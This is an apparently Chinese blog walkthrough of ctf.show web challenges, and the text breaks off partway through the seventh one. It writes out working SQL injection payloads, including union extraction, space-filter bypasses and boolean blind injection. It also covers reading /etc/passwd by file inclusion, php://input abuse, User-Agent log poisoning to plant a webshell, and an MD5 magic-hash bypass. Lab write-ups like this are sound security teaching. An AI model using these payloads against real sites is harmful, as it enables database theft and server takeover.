ctf.show网站WEB在线解题教程(持续更新)
ctf.show网站WEB在线解题教程
网站链接:https://ctf.show/
web签到题
这里打开靶场后,显示如图

因为没有线索,我们直接右键鼠标查看网站源代码,显示如图

这里很明显是个base64编码,直接用解码工具查看一下,如图得到flag

web2
考点:SQL注入
打开靶场后如图,明显是一个弱口令或者是SQL注入的题目

先试试弱口令,但没什么反应,估计就是SQL注入了

是SQL注入我们先试一试万能密码'or 1=1#,万能密码正常回显说明存在SQL注入漏洞并且闭合成功


接下来猜列'or 1=1 order by 3# ,这里3正常显示,但4没有显示,说明有三列。



接下来看占位符'or 1=2 union select 1,2,3#,这里显示为2,说明2号位置为占位符


查库名'or 1=2 union select 1,database(),3#


查表名'or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#,这里查看到flag,user两个表,我们要的为flag表


查列名'or 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="flag"#


查数据'or 1=2 union select 1,flag,3 from flag#,这里flag就有了


web3
考点:文件包含、伪协议
打开关卡后发现这里是文件包含漏洞,我们先测试一下?url=/etc/passwd,出现数据说明存在文件包含漏洞


我们用bp抓包利用伪协议来读取当前目录结构,查看返回数据包中有ctf_go_go_go这个文件。
注意:不是 POST 传递了 url 参数,而是 php://input 这个伪协议,读取的是 HTTP 请求的请求体(POST body),和$_GET['url']参数本身是两件事。

我们在读取这个文件,这里就出来结果了

web4
考点:文件包含、日志注入
writeUp:这里给的是日志注入
输入?url=/var/log/nginx/access.log测试,发现正常读取没有问题,且我们发现每次读取日志,日志文件都会把我们这次读取请求数据包中的User-Agent信息写进去,这样我们就可以把木马写到我们的User-Agent中

这里我们直接在User-Agent中写入一句话木马,并用蚁剑连接,获得getshell


然后在蚁剑中拿到了目标文件

web5
考点:代码审计、函数绕过
打开靶场看到源码,这有三个函数ctype_alpha()、is_numeric()、md5(),这里ctype_alpha()判断是否为纯字母、is_numeric()判断是否为纯数字。然后再符合前面两个函数的条件下,通过md5()加密后为0e开头的即可绕过md5($v1)==md5($v2)

因此我们设计payload为?v1=QNKCDZO&v2=240610708,输入后就拿到了flag。
web6
考点:SQL注入绕过
打开靶场我们,可看到登录框依旧先试试弱口令,弱口令没有试试万能密码,尝试用万能密码结果报sql注入,说明对我们的输入进行检测了


接下来我要试试,看看能不能把绕过的符号找出来,单输入一个单引号没有报,说明单引号没有被过滤


这里我再输入' ,单引号加空格发现报错,说明应该是空格被过滤了


这里我们用/**/来代替空格进行绕过,发现成功登录,剩下就和web2一样了


#猜列
'or/**/1=1/**/order/**/by/**/3#
'or/**/1=1/**/order/**/by/**/4#
#查回显
'or/**/1=1/**/union/**/select/**/1,2,3#
#查表名
'or/**/1=2/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
#查列名
'or/**/1=2/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
#查数据
'or/**/1=2/**/union/**/select/**/1,flag,3/**/from/**/flag#
web7
考点:布尔盲注
打开网站随便选择一篇文章发现有参数id,我们试试对id进行注入,正常显示说明该参数可控
?id=1'#

输入出现sql注入的提示,说明有东西被过滤了
?id=1' and 1=1#

这里尝试该payload,报错说明是空格过滤了
?id=1' #

这里我尝试用%0a绕过空格,发现正常显示没有什么问题,这里就用%0a代替
?id=1'%0a#

猜库名长度(二分法)
?id=1'%0aand%0alength(database())>1#
?id=1'%0aand%0alength(database())>10#
?id=1'%0aand%0alength(database())>5#
?id=1'%0aand%0alength(database())>3#
?id=1'%0aand%0alength(database())>4#
?id=1'%0aand%0alength(database())=4#


再利用
?id=1'%0aand%0aascii(mid(database(),1,1))>115#

浙公网安备 33010602011771号